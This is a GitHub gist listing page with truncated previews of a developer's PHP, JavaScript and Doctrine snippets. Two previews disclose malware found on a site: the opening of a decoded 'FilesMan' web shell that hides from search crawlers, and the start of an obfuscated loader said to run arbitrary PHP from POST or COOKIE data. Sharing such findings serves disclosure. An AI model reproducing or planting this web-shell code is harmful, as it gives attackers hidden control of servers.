Skip to content

Instantly share code, notes, and snippets.

View ishukshin's full-sized avatar

ishukshin ishukshin

View GitHub Profile
<?php
$fileName = $_FILES['afile']['name'];
$fileType = $_FILES['afile']['type'];
$fileContent = file_get_contents($_FILES['afile']['tmp_name']);
$dataUrl = 'data:' . $fileType . ';base64,' . base64_encode($fileContent);
$json = json_encode(array(
'name' => $fileName,
'type' => $fileType,
'dataUrl' => $dataUrl,
@ishukshin
ishukshin / gist:af235850ecc8cfce61a6
Last active September 15, 2015 20:30 — forked from antixrist/gist:faf300eb04c1aeca9137
VK API: Parse json Args to array.
/**
* For check: https://vk.com/dev/execute
*/
// var myList = Args.list;
// var listSeparator = Args.listSeparator;
// var listItemsType = Args.listItemsType;
var myList = "123456,789012,345678,901234,567890";
@ishukshin
ishukshin / dont-do-this.php
Last active September 18, 2015 10:44 — forked from peterjmit/dont-do-this.php
Some Doctrine 2 Best Practices got here - http://www.uvd.co.uk/blog/some-doctrine-2-best-practices/
<?php
$articles = $article_repository->findAll();
foreach($articles as $article)
{
echo $article->getTitle();
echo count($article->getComments());
}
@ishukshin
ishukshin / Rand.php
Last active September 18, 2015 14:26 — forked from Ocramius/Rand.php
MySQL RAND() function in Doctrine2 DQL
<?php
namespace My\Custom\Doctrine2\Function;
/**
* RandFunction ::= "RAND" "(" ")"
*/
class Rand extends FunctionNode
{
public function parse(\Doctrine\ORM\Query\Parser $parser)
<?php
class YK{
/* ... */
/**
* проверка заказа
* @param array $params параметры от яндекса
*/
public function check($params){
$code = 0;
@ishukshin
ishukshin / laravel-routes.php
Created December 20, 2015 16:04 — forked from ibourgeois/laravel-routes.php
Bridging Laravel 5 and Lumen with Guzzle
<?php
// Obviously, you would build up the request somewhere other than a route...
Route::get('/api', function()
{
$client = new \GuzzleHttp\Client();
$response = $client->get('http://path/to/api');
@ishukshin
ishukshin / Kernel.php
Created December 20, 2015 16:56
Command example for Lumen
<?php # /app/Console/Kernel.php
/* */
protected $commands = [
'App\Console\Commands\ServeCommand'
];
@ishukshin
ishukshin / decoded-lmage_mod.php
Last active February 28, 2016 22:07
Malware found: encoded file modules/system/admin/lmage_mod.php
# decoded lmage_mod.php via https://www.unphp.net/decode/b0b1d14a8ba0d84af035fdacfd7646d3/
<?php $auth_pass = "63a9f0ea7bb98050796b649e85481845";
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
if (!empty($_SERVER['HTTP_USER_AGENT'])) {
$userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
if (preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
header('HTTP/1.0 404 Not Found');
@ishukshin
ishukshin / malware-encoded.php
Last active March 10, 2016 22:41
Malware found at the top of infected file and decoded by myself. It contains a secret string that looks like serial code and the script is able to execute any php script passed through _POST or _COOKIE.
<?php $GLOBALS['gd74ce'];global$gd74ce;$gd74ce=$GLOBALS;$gd74ce['a5da']="\x70\x48\x45\xd\x78\x54\x74\x5f\x6e\x69\x33\x5d\x9\x6d\x3f\x36\x2b\x43\x63\x20\x2a\x41\x59\x3b\x40\x72\x47\x58\x57\x6b\x4a\x76\x5e\x53\x46\x7e\x60\x7d\x4e\xa\x2f\x26\x38\x35\x6a\x4b\x25\x5a\x73\x39\x44\x51\x5c\x77\x68\x5b\x4f\x55\x3e\x22\x4c\x71\x6f\x49\x27\x21\x42\x2e\x32\x6c\x3c\x79\x2d\x23\x29\x7c\x3a\x34\x62\x31\x66\x52\x2c\x64\x4d\x75\x50\x65\x7b\x67\x61\x37\x3d\x24\x56\x28\x30\x7a";$gd74ce[$gd74ce['a5da'][44].$gd74ce['a5da'][42].
@ishukshin
ishukshin / change-images-color.js
Last active May 23, 2016 07:58
The script changes black color of every image to another desirable color
/**
* The script changes black color of every image to another desirable color
* requires page with jquery
* USAGE: execute it in browser console
*
* Замена чёрного цвета на изображениях страницы на любой другой (тёмно-синий, к примеру)
* Сделано для печати билетов РЖД, т.к. чёрный картридж закончился.
* У РЖД билеты - это html страницы с jquery по адресу вида https://pass.rzd.ru/ticket/secure/ru?STRUCTURE_ID=NN&layer_id=MM&ORDER_ID=XX
* выполнение скрипта в консоли браузера меняет чёрный цвет в картинках на любой другой
*/